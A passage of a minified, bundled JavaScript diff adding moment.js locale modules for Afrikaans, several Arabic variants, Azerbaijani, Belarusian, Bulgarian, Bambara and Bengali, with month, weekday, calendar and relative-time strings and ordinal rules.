= e.match(/(^\d*\.?\d*)(\w*)/); + var i = t && t[1]; + var n = t && t[2]; + if (!i.length) { + return 0 + } + i = parseFloat(i); + var r = m[n] || 1; + return i * r + } + f.Item = a; + return f + }) +}, function (e, t, i) { + (function (e, t) { + true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) + })(this, function (e) { + "use strict"; + var t = e.defineLocale("af", { + months: "Januarie_Februarie_Maart_April_Mei_Junie_Julie_Augustus_September_Oktober_November_Desember".split("_"), + monthsShort: "Jan_Feb_Mrt_Apr_Mei_Jun_Jul_Aug_Sep_Okt_Nov_Des".split("_"), + weekdays: "Sondag_Maandag_Dinsdag_Woensdag_Donderdag_Vrydag_Saterdag".split("_"), + weekdaysShort: "Son_Maa_Din_Woe_Don_Vry_Sat".split("_"), + weekdaysMin: "So_Ma_Di_Wo_Do_Vr_Sa".split("_"), + meridiemParse: /vm|nm/i, + isPM: function (e) { + return /^nm$/i.test(e) + }, + meridiem: function (e, t, i) { + if (e < 12) { + return i ? "vm" : "VM" + } else { + return i ? "nm" : "NM" + } + }, + longDateFormat: { + LT: "HH:mm", + LTS: "HH:mm:ss", + L: "DD/MM/YYYY", + LL: "D MMMM YYYY", + LLL: "D MMMM YYYY HH:mm", + LLLL: "dddd, D MMMM YYYY HH:mm" + }, + calendar: { + sameDay: "[Vandag om] LT", + nextDay: "[Môre om] LT", + nextWeek: "dddd [om] LT", + lastDay: "[Gister om] LT", + lastWeek: "[Laas] dddd [om] LT", + sameElse: "L" + }, + relativeTime: { + future: "oor %s", + past: "%s gelede", + s: "'n paar sekondes", + ss: "%d sekondes", + m: "'n minuut", + mm: "%d minute", + h: "'n uur", + hh: "%d ure", + d: "'n dag", + dd: "%d dae", + M: "'n maand", + MM: "%d maande", + y: "'n jaar", + yy: "%d jaar" + }, + dayOfMonthOrdinalParse: /\d{1,2}(ste|de)/, + ordinal: function (e) { + return e + (e === 1 || e === 8 || e >= 20 ? "ste" : "de") + }, + week: { + dow: 1, + doy: 4 + } + }); + return t + }) +}, function (e, t, i) { + (function (e, t) { + true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) + })(this, function (e) { + "use strict"; + var t = { + 1: "١", + 2: "٢", + 3: "٣", + 4: "٤", + 5: "٥", + 6: "٦", + 7: "٧", + 8: "٨", + 9: "٩", + 0: "٠" + }, + i = { + "١": "1", + "٢": "2", + "٣": "3", + "٤": "4", + "٥": "5", + "٦": "6", + "٧": "7", + "٨": "8", + "٩": "9", + "٠": "0" + }, + n = function (e) { + return e === 0 ? 0 : e === 1 ? 1 : e === 2 ? 2 : e % 100 >= 3 && e % 100 <= 10 ? 3 : e % 100 >= 11 ? 4 : 5 + }, + r = { + s: ["أقل من ثانية", "ثانية واحدة", ["ثانيتان", "ثانيتين"], "%d ثوان", "%d ثانية", "%d ثانية"], + m: ["أقل من دقيقة", "دقيقة واحدة", ["دقيقتان", "دقيقتين"], "%d دقائق", "%d دقيقة", "%d دقيقة"], + h: ["أقل من ساعة", "ساعة واحدة", ["ساعتان", "ساعتين"], "%d ساعات", "%d ساعة", "%d ساعة"], + d: ["أقل من يوم", "يوم واحد", ["يومان", "يومين"], "%d أيام", "%d يومًا", "%d يوم"], + M: ["أقل من شهر", "شهر واحد", ["شهران", "شهرين"], "%d أشهر", "%d شهرا", "%d شهر"], + y: ["أقل من عام", "عام واحد", ["عامان", "عامين"], "%d أعوام", "%d عامًا", "%d عام"] + }, + a = function (e) { + return function (t, i, a, s) { + var o = n(t), + l = r[e][n(t)]; + if (o === 2) { + l = l[i ? 0 : 1] + } + return l.replace(/%d/i, t) + } + }, + s = ["يناير", "فبراير", "مارس", "أبريل", "مايو", "يونيو", "يوليو", "أغسطس", "سبتمبر", "أكتوبر", "نوفمبر", "ديسمبر"]; + var o = e.defineLocale("ar", { + months: s, + monthsShort: s, + weekdays: "الأحد_الإثنين_الثلاثاء_الأربعاء_الخميس_الجمعة_السبت".split("_"), + weekdaysShort: "أحد_إثنين_ثلاثاء_أربعاء_خميس_جمعة_سبت".split("_"), + weekdaysMin: "ح_ن_ث_ر_خ_ج_س".split("_"), + weekdaysParseExact: true, + longDateFormat: { + LT: "HH:mm", + LTS: "HH:mm:ss", + L: "D/‏M/‏YYYY", + LL: "D MMMM YYYY", + LLL: "D MMMM YYYY HH:mm", + LLLL: "dddd D MMMM YYYY HH:mm" + }, + meridiemParse: /ص|م/, + isPM: function (e) { + return "م" === e + }, + meridiem: function (e, t, i) { + if (e < 12) { + return "ص" + } else { + return "م" + } + }, + calendar: { + sameDay: "[اليوم عند الساعة] LT", + nextDay: "[غدًا عند الساعة] LT", + nextWeek: "dddd [عند الساعة] LT", + lastDay: "[أمس عند الساعة] LT", + lastWeek: "dddd [عند الساعة] LT", + sameElse: "L" + }, + relativeTime: { + future: "بعد %s", + past: "منذ %s", + s: a("s"), + ss: a("s"), + m: a("m"), + mm: a("m"), + h: a("h"), + hh: a("h"), + d: a("d"), + dd: a("d"), + M: a("M"), + MM: a("M"), + y: a("y"), + yy: a("y") + }, + preparse: function (e) { + return e.replace(/[١٢٣٤٥٦٧٨٩٠]/g, function (e) { + return i[e] + }).replace(/،/g, ",") + }, + postformat: function (e) { + return e.replace(/\d/g, function (e) { + return t[e] + }).replace(/,/g, "،") + }, + week: { + dow: 6, + doy: 12 + } + }); + return o + }) +}, function (e, t, i) { + (function (e, t) { + true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) + })(this, function (e) { + "use strict"; + var t = e.defineLocale("ar-dz", { + months: "جانفي_فيفري_مارس_أفريل_ماي_جوان_جويلية_أوت_سبتمبر_أكتوبر_نوفمبر_ديسمبر".split("_"), + monthsShort: "جانفي_فيفري_مارس_أفريل_ماي_جوان_جويلية_أوت_سبتمبر_أكتوبر_نوفمبر_ديسمبر".split("_"), + weekdays: "الأحد_الإثنين_الثلاثاء_الأربعاء_الخميس_الجمعة_السبت".split("_"), + weekdaysShort: "احد_اثنين_ثلاثاء_اربعاء_خميس_جمعة_سبت".split("_"), + weekdaysMin: "أح_إث_ثلا_أر_خم_جم_سب".split("_"), + weekdaysParseExact: true, + longDateFormat: { + LT: "HH:mm", + LTS: "HH:mm:ss", + L: "DD/MM/YYYY", + LL: "D MMMM YYYY", + LLL: "D MMMM YYYY HH:mm", + LLLL: "dddd D MMMM YYYY HH:mm" + }, + calendar: { + sameDay: "[اليوم على الساعة] LT", + nextDay: "[غدا على الساعة] LT", + nextWeek: "dddd [على الساعة] LT", + lastDay: "[أمس على الساعة] LT", + lastWeek: "dddd [على الساعة] LT", + sameElse: "L" + }, + relativeTime: { + future: "في %s", + past: "منذ %s", + s: "ثوان", + ss: "%d ثانية", + m: "دقيقة", + mm: "%d دقائق", + h: "ساعة", + hh: "%d ساعات", + d: "يوم", + dd: "%d أيام", + M: "شهر", + MM: "%d أشهر", + y: "سنة", + yy: "%d سنوات" + }, + week: { + dow: 0, + doy: 4 + } + }); + return t + }) +}, function (e, t, i) { + (function (e, t) { + true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) + })(this, function (e) { + "use strict"; + var t = e.defineLocale("ar-kw", { + months: "يناير_فبراير_مارس_أبريل_ماي_يونيو_يوليوز_غشت_شتنبر_أكتوبر_نونبر_دجنبر".split("_"), + monthsShort: "يناير_فبراير_مارس_أبريل_ماي_يونيو_يوليوز_غشت_شتنبر_أكتوبر_نونبر_دجنبر".split("_"), + weekdays: "الأحد_الإتنين_الثلاثاء_الأربعاء_الخميس_الجمعة_السبت".split("_"), + weekdaysShort: "احد_اتنين_ثلاثاء_اربعاء_خميس_جمعة_سبت".split("_"), + weekdaysMin: "ح_ن_ث_ر_خ_ج_س".split("_"), + weekdaysParseExact: true, + longDateFormat: { + LT: "HH:mm", + LTS: "HH:mm:ss", + L: "DD/MM/YYYY", + LL: "D MMMM YYYY", + LLL: "D MMMM YYYY HH:mm", + LLLL: "dddd D MMMM YYYY HH:mm" + }, + calendar: { + sameDay: "[اليوم على الساعة] LT", + nextDay: "[غدا على الساعة] LT", + nextWeek: "dddd [على الساعة] LT", + lastDay: "[أمس على الساعة] LT", + lastWeek: "dddd [على الساعة] LT", + sameElse: "L" + }, + relativeTime: { + future: "في %s", + past: "منذ %s", + s: "ثوان", + ss: "%d ثانية", + m: "دقيقة", + mm: "%d دقائق", + h: "ساعة", + hh: "%d ساعات", + d: "يوم", + dd: "%d أيام", + M: "شهر", + MM: "%d أشهر", + y: "سنة", + yy: "%d سنوات" + }, + week: { + dow: 0, + doy: 12 + } + }); + return t + }) +}, function (e, t, i) { + (function (e, t) { + true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) + })(this, function (e) { + "use strict"; + var t = { + 1: "1", + 2: "2", + 3: "3", + 4: "4", + 5: "5", + 6: "6", + 7: "7", + 8: "8", + 9: "9", + 0: "0" + }, + i = function (e) { + return e === 0 ? 0 : e === 1 ? 1 : e === 2 ? 2 : e % 100 >= 3 && e % 100 <= 10 ? 3 : e % 100 >= 11 ? 4 : 5 + }, + n = { + s: ["أقل من ثانية", "ثانية واحدة", ["ثانيتان", "ثانيتين"], "%d ثوان", "%d ثانية", "%d ثانية"], + m: ["أقل من دقيقة", "دقيقة واحدة", ["دقيقتان", "دقيقتين"], "%d دقائق", "%d دقيقة", "%d دقيقة"], + h: ["أقل من ساعة", "ساعة واحدة", ["ساعتان", "ساعتين"], "%d ساعات", "%d ساعة", "%d ساعة"], + d: ["أقل من يوم", "يوم واحد", ["يومان", "يومين"], "%d أيام", "%d يومًا", "%d يوم"], + M: ["أقل من شهر", "شهر واحد", ["شهران", "شهرين"], "%d أشهر", "%d شهرا", "%d شهر"], + y: ["أقل من عام", "عام واحد", ["عامان", "عامين"], "%d أعوام", "%d عامًا", "%d عام"] + }, + r = function (e) { + return function (t, r, a, s) { + var o = i(t), + l = n[e][i(t)]; + if (o === 2) { + l = l[r ? 0 : 1] + } + return l.replace(/%d/i, t) + } + }, + a = ["يناير", "فبراير", "مارس", "أبريل", "مايو", "يونيو", "يوليو", "أغسطس", "سبتمبر", "أكتوبر", "نوفمبر", "ديسمبر"]; + var s = e.defineLocale("ar-ly", { + months: a, + monthsShort: a, + weekdays: "الأحد_الإثنين_الثلاثاء_الأربعاء_الخميس_الجمعة_السبت".split("_"), + weekdaysShort: "أحد_إثنين_ثلاثاء_أربعاء_خميس_جمعة_سبت".split("_"), + weekdaysMin: "ح_ن_ث_ر_خ_ج_س".split("_"), + weekdaysParseExact: true, + longDateFormat: { + LT: "HH:mm", + LTS: "HH:mm:ss", + L: "D/‏M/‏YYYY", + LL: "D MMMM YYYY", + LLL: "D MMMM YYYY HH:mm", + LLLL: "dddd D MMMM YYYY HH:mm" + }, + meridiemParse: /ص|م/, + isPM: function (e) { + return "م" === e + }, + meridiem: function (e, t, i) { + if (e < 12) { + return "ص" + } else { + return "م" + } + }, + calendar: { + sameDay: "[اليوم عند الساعة] LT", + nextDay: "[غدًا عند الساعة] LT", + nextWeek: "dddd [عند الساعة] LT", + lastDay: "[أمس عند الساعة] LT", + lastWeek: "dddd [عند الساعة] LT", + sameElse: "L" + }, + relativeTime: { + future: "بعد %s", + past: "منذ %s", + s: r("s"), + ss: r("s"), + m: r("m"), + mm: r("m"), + h: r("h"), + hh: r("h"), + d: r("d"), + dd: r("d"), + M: r("M"), + MM: r("M"), + y: r("y"), + yy: r("y") + }, + preparse: function (e) { + return e.replace(/،/g, ",") + }, + postformat: function (e) { + return e.replace(/\d/g, function (e) { + return t[e] + }).replace(/,/g, "،") + }, + week: { + dow: 6, + doy: 12 + } + }); + return s + }) +}, function (e, t, i) { + (function (e, t) { + true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) + })(this, function (e) { + "use strict"; + var t = e.defineLocale("ar-ma", { + months: "يناير_فبراير_مارس_أبريل_ماي_يونيو_يوليوز_غشت_شتنبر_أكتوبر_نونبر_دجنبر".split("_"), + monthsShort: "يناير_فبراير_مارس_أبريل_ماي_يونيو_يوليوز_غشت_شتنبر_أكتوبر_نونبر_دجنبر".split("_"), + weekdays: "الأحد_الإتنين_الثلاثاء_الأربعاء_الخميس_الجمعة_السبت".split("_"), + weekdaysShort: "احد_اتنين_ثلاثاء_اربعاء_خميس_جمعة_سبت".split("_"), + weekdaysMin: "ح_ن_ث_ر_خ_ج_س".split("_"), + weekdaysParseExact: true, + longDateFormat: { + LT: "HH:mm", + LTS: "HH:mm:ss", + L: "DD/MM/YYYY", + LL: "D MMMM YYYY", + LLL: "D MMMM YYYY HH:mm", + LLLL: "dddd D MMMM YYYY HH:mm" + }, + calendar: { + sameDay: "[اليوم على الساعة] LT", + nextDay: "[غدا على الساعة] LT", + nextWeek: "dddd [على الساعة] LT", + lastDay: "[أمس على الساعة] LT", + lastWeek: "dddd [على الساعة] LT", + sameElse: "L" + }, + relativeTime: { + future: "في %s", + past: "منذ %s", + s: "ثوان", + ss: "%d ثانية", + m: "دقيقة", + mm: "%d دقائق", + h: "ساعة", + hh: "%d ساعات", + d: "يوم", + dd: "%d أيام", + M: "شهر", + MM: "%d أشهر", + y: "سنة", + yy: "%d سنوات" + }, + week: { + dow: 6, + doy: 12 + } + }); + return t + }) +}, function (e, t, i) { + (function (e, t) { + true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) + })(this, function (e) { + "use strict"; + var t = { + 1: "١", + 2: "٢", + 3: "٣", + 4: "٤", + 5: "٥", + 6: "٦", + 7: "٧", + 8: "٨", + 9: "٩", + 0: "٠" + }, + i = { + "١": "1", + "٢": "2", + "٣": "3", + "٤": "4", + "٥": "5", + "٦": "6", + "٧": "7", + "٨": "8", + "٩": "9", + "٠": "0" + }; + var n = e.defineLocale("ar-sa", { + months: "يناير_فبراير_مارس_أبريل_مايو_يونيو_يوليو_أغسطس_سبتمبر_أكتوبر_نوفمبر_ديسمبر".split("_"), + monthsShort: "يناير_فبراير_مارس_أبريل_مايو_يونيو_يوليو_أغسطس_سبتمبر_أكتوبر_نوفمبر_ديسمبر".split("_"), + weekdays: "الأحد_الإثنين_الثلاثاء_الأربعاء_الخميس_الجمعة_السبت".split("_"), + weekdaysShort: "أحد_إثنين_ثلاثاء_أربعاء_خميس_جمعة_سبت".split("_"), + weekdaysMin: "ح_ن_ث_ر_خ_ج_س".split("_"), + weekdaysParseExact: true, + longDateFormat: { + LT: "HH:mm", + LTS: "HH:mm:ss", + L: "DD/MM/YYYY", + LL: "D MMMM YYYY", + LLL: "D MMMM YYYY HH:mm", + LLLL: "dddd D MMMM YYYY HH:mm" + }, + meridiemParse: /ص|م/, + isPM: function (e) { + return "م" === e + }, + meridiem: function (e, t, i) { + if (e < 12) { + return "ص" + } else { + return "م" + } + }, + calendar: { + sameDay: "[اليوم على الساعة] LT", + nextDay: "[غدا على الساعة] LT", + nextWeek: "dddd [على الساعة] LT", + lastDay: "[أمس على الساعة] LT", + lastWeek: "dddd [على الساعة] LT", + sameElse: "L" + }, + relativeTime: { + future: "في %s", + past: "منذ %s", + s: "ثوان", + ss: "%d ثانية", + m: "دقيقة", + mm: "%d دقائق", + h: "ساعة", + hh: "%d ساعات", + d: "يوم", + dd: "%d أيام", + M: "شهر", + MM: "%d أشهر", + y: "سنة", + yy: "%d سنوات" + }, + preparse: function (e) { + return e.replace(/[١٢٣٤٥٦٧٨٩٠]/g, function (e) { + return i[e] + }).replace(/،/g, ",") + }, + postformat: function (e) { + return e.replace(/\d/g, function (e) { + return t[e] + }).replace(/,/g, "،") + }, + week: { + dow: 0, + doy: 6 + } + }); + return n + }) +}, function (e, t, i) { + (function (e, t) { + true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) + })(this, function (e) { + "use strict"; + var t = e.defineLocale("ar-tn", { + months: "جانفي_فيفري_مارس_أفريل_ماي_جوان_جويلية_أوت_سبتمبر_أكتوبر_نوفمبر_ديسمبر".split("_"), + monthsShort: "جانفي_فيفري_مارس_أفريل_ماي_جوان_جويلية_أوت_سبتمبر_أكتوبر_نوفمبر_ديسمبر".split("_"), + weekdays: "الأحد_الإثنين_الثلاثاء_الأربعاء_الخميس_الجمعة_السبت".split("_"), + weekdaysShort: "أحد_إثنين_ثلاثاء_أربعاء_خميس_جمعة_سبت".split("_"), + weekdaysMin: "ح_ن_ث_ر_خ_ج_س".split("_"), + weekdaysParseExact: true, + longDateFormat: { + LT: "HH:mm", + LTS: "HH:mm:ss", + L: "DD/MM/YYYY", + LL: "D MMMM YYYY", + LLL: "D MMMM YYYY HH:mm", + LLLL: "dddd D MMMM YYYY HH:mm" + }, + calendar: { + sameDay: "[اليوم على الساعة] LT", + nextDay: "[غدا على الساعة] LT", + nextWeek: "dddd [على الساعة] LT", + lastDay: "[أمس على الساعة] LT", + lastWeek: "dddd [على الساعة] LT", + sameElse: "L" + }, + relativeTime: { + future: "في %s", + past: "منذ %s", + s: "ثوان", + ss: "%d ثانية", + m: "دقيقة", + mm: "%d دقائق", + h: "ساعة", + hh: "%d ساعات", + d: "يوم", + dd: "%d أيام", + M: "شهر", + MM: "%d أشهر", + y: "سنة", + yy: "%d سنوات" + }, + week: { + dow: 1, + doy: 4 + } + }); + return t + }) +}, function (e, t, i) { + (function (e, t) { + true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) + })(this, function (e) { + "use strict"; + var t = { + 1: "-inci", + 5: "-inci", + 8: "-inci", + 70: "-inci", + 80: "-inci", + 2: "-nci", + 7: "-nci", + 20: "-nci", + 50: "-nci", + 3: "-üncü", + 4: "-üncü", + 100: "-üncü", + 6: "-ncı", + 9: "-uncu", + 10: "-uncu", + 30: "-uncu", + 60: "-ıncı", + 90: "-ıncı" + }; + var i = e.defineLocale("az", { + months: "yanvar_fevral_mart_aprel_may_iyun_iyul_avqust_sentyabr_oktyabr_noyabr_dekabr".split("_"), + monthsShort: "yan_fev_mar_apr_may_iyn_iyl_avq_sen_okt_noy_dek".split("_"), + weekdays: "Bazar_Bazar ertəsi_Çərşənbə axşamı_Çərşənbə_Cümə axşamı_Cümə_Şənbə".split("_"), + weekdaysShort: "Baz_BzE_ÇAx_Çər_CAx_Cüm_Şən".split("_"), + weekdaysMin: "Bz_BE_ÇA_Çə_CA_Cü_Şə".split("_"), + weekdaysParseExact: true, + longDateFormat: { + LT: "HH:mm", + LTS: "HH:mm:ss", + L: "DD.MM.YYYY", + LL: "D MMMM YYYY", + LLL: "D MMMM YYYY HH:mm", + LLLL: "dddd, D MMMM YYYY HH:mm" + }, + calendar: { + sameDay: "[bugün saat] LT", + nextDay: "[sabah saat] LT", + nextWeek: "[gələn həftə] dddd [saat] LT", + lastDay: "[dünən] LT", + lastWeek: "[keçən həftə] dddd [saat] LT", + sameElse: "L" + }, + relativeTime: { + future: "%s sonra", + past: "%s əvvəl", + s: "birneçə saniyə", + ss: "%d saniyə", + m: "bir dəqiqə", + mm: "%d dəqiqə", + h: "bir saat", + hh: "%d saat", + d: "bir gün", + dd: "%d gün", + M: "bir ay", + MM: "%d ay", + y: "bir il", + yy: "%d il" + }, + meridiemParse: /gecə|səhər|gündüz|axşam/, + isPM: function (e) { + return /^(gündüz|axşam)$/.test(e) + }, + meridiem: function (e, t, i) { + if (e < 4) { + return "gecə" + } else if (e < 12) { + return "səhər" + } else if (e < 17) { + return "gündüz" + } else { + return "axşam" + } + }, + dayOfMonthOrdinalParse: /\d{1,2}-(ıncı|inci|nci|üncü|ncı|uncu)/, + ordinal: function (e) { + if (e === 0) { + return e + "-ıncı" + } + var i = e % 10, + n = e % 100 - i, + r = e >= 100 ? 100 : null; + return e + (t[i] || t[n] || t[r]) + }, + week: { + dow: 1, + doy: 7 + } + }); + return i + }) +}, function (e, t, i) { + (function (e, t) { + true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) + })(this, function (e) { + "use strict"; + + function t(e, t) { + var i = e.split("_"); + return t % 10 === 1 && t % 100 !== 11 ? i[0] : t % 10 >= 2 && t % 10 <= 4 && (t % 100 < 10 || t % 100 >= 20) ? i[1] : i[2] + } + + function i(e, i, n) { + var r = { + ss: i ? "секунда_секунды_секунд" : "секунду_секунды_секунд", + mm: i ? "хвіліна_хвіліны_хвілін" : "хвіліну_хвіліны_хвілін", + hh: i ? "гадзіна_гадзіны_гадзін" : "гадзіну_гадзіны_гадзін", + dd: "дзень_дні_дзён", + MM: "месяц_месяцы_месяцаў", + yy: "год_гады_гадоў" + }; + if (n === "m") { + return i ? "хвіліна" : "хвіліну" + } else if (n === "h") { + return i ? "гадзіна" : "гадзіну" + } else { + return e + " " + t(r[n], +e) + } + } + var n = e.defineLocale("be", { + months: { + format: "студзеня_лютага_сакавіка_красавіка_траўня_чэрвеня_ліпеня_жніўня_верасня_кастрычніка_лістапада_снежня".split("_"), + standalone: "студзень_люты_сакавік_красавік_травень_чэрвень_ліпень_жнівень_верасень_кастрычнік_лістапад_снежань".split("_") + }, + monthsShort: "студ_лют_сак_крас_трав_чэрв_ліп_жнів_вер_каст_ліст_снеж".split("_"), + weekdays: { + format: "нядзелю_панядзелак_аўторак_сераду_чацвер_пятніцу_суботу".split("_"), + standalone: "нядзеля_панядзелак_аўторак_серада_чацвер_пятніца_субота".split("_"), + isFormat: /\[ ?[Ууў] ?(?:мінулую|наступную)? ?\] ?dddd/ + }, + weekdaysShort: "нд_пн_ат_ср_чц_пт_сб".split("_"), + weekdaysMin: "нд_пн_ат_ср_чц_пт_сб".split("_"), + longDateFormat: { + LT: "HH:mm", + LTS: "HH:mm:ss", + L: "DD.MM.YYYY", + LL: "D MMMM YYYY г.", + LLL: "D MMMM YYYY г., HH:mm", + LLLL: "dddd, D MMMM YYYY г., HH:mm" + }, + calendar: { + sameDay: "[Сёння ў] LT", + nextDay: "[Заўтра ў] LT", + lastDay: "[Учора ў] LT", + nextWeek: function () { + return "[У] dddd [ў] LT" + }, + lastWeek: function () { + switch (this.day()) { + case 0: + case 3: + case 5: + case 6: + return "[У мінулую] dddd [ў] LT"; + case 1: + case 2: + case 4: + return "[У мінулы] dddd [ў] LT" + } + }, + sameElse: "L" + }, + relativeTime: { + future: "праз %s", + past: "%s таму", + s: "некалькі секунд", + m: i, + mm: i, + h: i, + hh: i, + d: "дзень", + dd: i, + M: "месяц", + MM: i, + y: "год", + yy: i + }, + meridiemParse: /ночы|раніцы|дня|вечара/, + isPM: function (e) { + return /^(дня|вечара)$/.test(e) + }, + meridiem: function (e, t, i) { + if (e < 4) { + return "ночы" + } else if (e < 12) { + return "раніцы" + } else if (e < 17) { + return "дня" + } else { + return "вечара" + } + }, + dayOfMonthOrdinalParse: /\d{1,2}-(і|ы|га)/, + ordinal: function (e, t) { + switch (t) { + case "M": + case "d": + case "DDD": + case "w": + case "W": + return (e % 10 === 2 || e % 10 === 3) && (e % 100 !== 12 && e % 100 !== 13) ? e + "-і" : e + "-ы"; + case "D": + return e + "-га"; + default: + return e + } + }, + week: { + dow: 1, + doy: 7 + } + }); + return n + }) +}, function (e, t, i) { + (function (e, t) { + true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) + })(this, function (e) { + "use strict"; + var t = e.defineLocale("bg", { + months: "януари_февруари_март_април_май_юни_юли_август_септември_октомври_ноември_декември".split("_"), + monthsShort: "янр_фев_мар_апр_май_юни_юли_авг_сеп_окт_ное_дек".split("_"), + weekdays: "неделя_понеделник_вторник_сряда_четвъртък_петък_събота".split("_"), + weekdaysShort: "нед_пон_вто_сря_чет_пет_съб".split("_"), + weekdaysMin: "нд_пн_вт_ср_чт_пт_сб".split("_"), + longDateFormat: { + LT: "H:mm", + LTS: "H:mm:ss", + L: "D.MM.YYYY", + LL: "D MMMM YYYY", + LLL: "D MMMM YYYY H:mm", + LLLL: "dddd, D MMMM YYYY H:mm" + }, + calendar: { + sameDay: "[Днес в] LT", + nextDay: "[Утре в] LT", + nextWeek: "dddd [в] LT", + lastDay: "[Вчера в] LT", + lastWeek: function () { + switch (this.day()) { + case 0: + case 3: + case 6: + return "[В изминалата] dddd [в] LT"; + case 1: + case 2: + case 4: + case 5: + return "[В изминалия] dddd [в] LT" + } + }, + sameElse: "L" + }, + relativeTime: { + future: "след %s", + past: "преди %s", + s: "няколко секунди", + ss: "%d секунди", + m: "минута", + mm: "%d минути", + h: "час", + hh: "%d часа", + d: "ден", + dd: "%d дни", + M: "месец", + MM: "%d месеца", + y: "година", + yy: "%d години" + }, + dayOfMonthOrdinalParse: /\d{1,2}-(ев|ен|ти|ви|ри|ми)/, + ordinal: function (e) { + var t = e % 10, + i = e % 100; + if (e === 0) { + return e + "-ев" + } else if (i === 0) { + return e + "-ен" + } else if (i > 10 && i < 20) { + return e + "-ти" + } else if (t === 1) { + return e + "-ви" + } else if (t === 2) { + return e + "-ри" + } else if (t === 7 || t === 8) { + return e + "-ми" + } else { + return e + "-ти" + } + }, + week: { + dow: 1, + doy: 7 + } + }); + return t + }) +}, function (e, t, i) { + (function (e, t) { + true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) + })(this, function (e) { + "use strict"; + var t = e.defineLocale("bm", { + months: "Zanwuyekalo_Fewuruyekalo_Marisikalo_Awirilikalo_Mɛkalo_Zuwɛnkalo_Zuluyekalo_Utikalo_Sɛtanburukalo_ɔkutɔburukalo_Nowanburukalo_Desanburukalo".split("_"), + monthsShort: "Zan_Few_Mar_Awi_Mɛ_Zuw_Zul_Uti_Sɛt_ɔku_Now_Des".split("_"), + weekdays: "Kari_Ntɛnɛn_Tarata_Araba_Alamisa_Juma_Sibiri".split("_"), + weekdaysShort: "Kar_Ntɛ_Tar_Ara_Ala_Jum_Sib".split("_"), + weekdaysMin: "Ka_Nt_Ta_Ar_Al_Ju_Si".split("_"), + longDateFormat: { + LT: "HH:mm", + LTS: "HH:mm:ss", + L: "DD/MM/YYYY", + LL: "MMMM [tile] D [san] YYYY", + LLL: "MMMM [tile] D [san] YYYY [lɛrɛ] HH:mm", + LLLL: "dddd MMMM [tile] D [san] YYYY [lɛrɛ] HH:mm" + }, + calendar: { + sameDay: "[Bi lɛrɛ] LT", + nextDay: "[Sini lɛrɛ] LT", + nextWeek: "dddd [don lɛrɛ] LT", + lastDay: "[Kunu lɛrɛ] LT", + lastWeek: "dddd [tɛmɛnen lɛrɛ] LT", + sameElse: "L" + }, + relativeTime: { + future: "%s kɔnɔ", + past: "a bɛ %s bɔ", + s: "sanga dama dama", + ss: "sekondi %d", + m: "miniti kelen", + mm: "miniti %d", + h: "lɛrɛ kelen", + hh: "lɛrɛ %d", + d: "tile kelen", + dd: "tile %d", + M: "kalo kelen", + MM: "kalo %d", + y: "san kelen", + yy: "san %d" + }, + week: { + dow: 1, + doy: 4 + } + }); + return t + }) +}, function (e, t, i) { + (function (e, t) { + true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) + })(this, function (e) { + "use strict"; + var t = { + 1: "১", + 2: "২", + 3: "৩", + 4: "৪", + 5: "৫", + 6: "৬", + 7: "৭", + 8: "৮", + 9: "৯", + 0: "০" + }, + i = { + "১": "1", + "২": "2", + "৩": "3", + "৪": "4", + "৫": "5", + "৬": "6", + "৭": "7", + "৮": "8", + "৯": "9", + "০": "0" + }; + var n = e.defineLocale("bn", { + months: "জানুয়ারী_ফেব্রুয়ারি_মার্চ_এপ্রিল_মে_জুন_জুলাই_আগস্ট_সেপ্টেম্বর_অক্টোবর_নভেম্বর_ডিসেম্বর".split("_"), + monthsShort: "জানু_ফেব_মার্চ_এপ্র_মে_জুন_জুল_আগ_সেপ্ট_অক্টো_নভে_ডিসে".split("_"), + weekdays: "রবিবার_সোমবার_মঙ্গলবার_বুধবার_বৃহস্পতিবার_শুক্রবার_শনিবার".split("_"), + weekdaysShort: "রবি_সোম_মঙ্গল_বুধ_বৃহস্পতি_শুক্র_শনি".split("_"), + weekdaysMin: "রবি_সোম_মঙ্গ_বুধ_বৃহঃ_শুক্র_শনি".split("_"), + longDateFormat: { + LT: "A h:mm সময়", + LTS: "A h:mm:ss সময়", + L: "DD/MM/YYYY", + LL: "D MMMM YYYY", + LLL: "D MMMM YYYY, A h:mm সময়", + LLLL: "dddd, D MMMM YYYY, A h:mm সময়" + }, + calendar: { + sameDay: "[আজ] LT", + nextDay: "[আগামীকাল] LT", + nextWeek: "dddd, LT", + lastDay: "[গতকাল] LT", + lastWeek: "[গত] dddd, LT", + sameElse: "L" + }, + relativeTime: { + future: "%s পরে", + past: "%s আগে", + s: "কয়েক সেকেন্ড", + ss: "%d সেকেন্ড", + m: "এক মিনিট", + mm: "%d মিনিট", + h: "এক ঘন্টা", + hh: "%d ঘন্টা", + d: "এক দিন", + dd: "%d দিন", + M: "এক মাস", + MM: "%d মাস", + y: "এক বছর", + yy: "%d বছর" + }, + preparse: function (e) { + return e.replace(/[১২৩৪৫৬৭৮৯০]/g, function (e) { + return i[e] + }) + }, + postformat: function (e) { + return e.replace(/\d/g, function (e) { + return t[e] + }) + }, + meridiemParse: /রাত|সকাল|দুপুর|বিকাল|রাত/, + meridiemHour: function (e, t) { + if (e === 12) { + e = 0 + } + if (t === "রাত" && e >= 4 || t === "দুপুর" && e < 5 || t === "বিকাল") { + return e + 12 + } else { + return e + } + }, + meridiem: function (e, t, i) { + if (e < 4) { + return "রাত" + } else if (e < 10) { + return "সকাল" + } else if (e < 17) { + return "দুপুর" + } else if (e < 20) { + return "বিকাল" + } else { + return "রাত" + } + }, + week: { + dow: 0, + doy: 6 + } + }); + return n + }) +}, function (e, t, i) { + (function (e, t) { + true ? t(i(0)) : typeof define 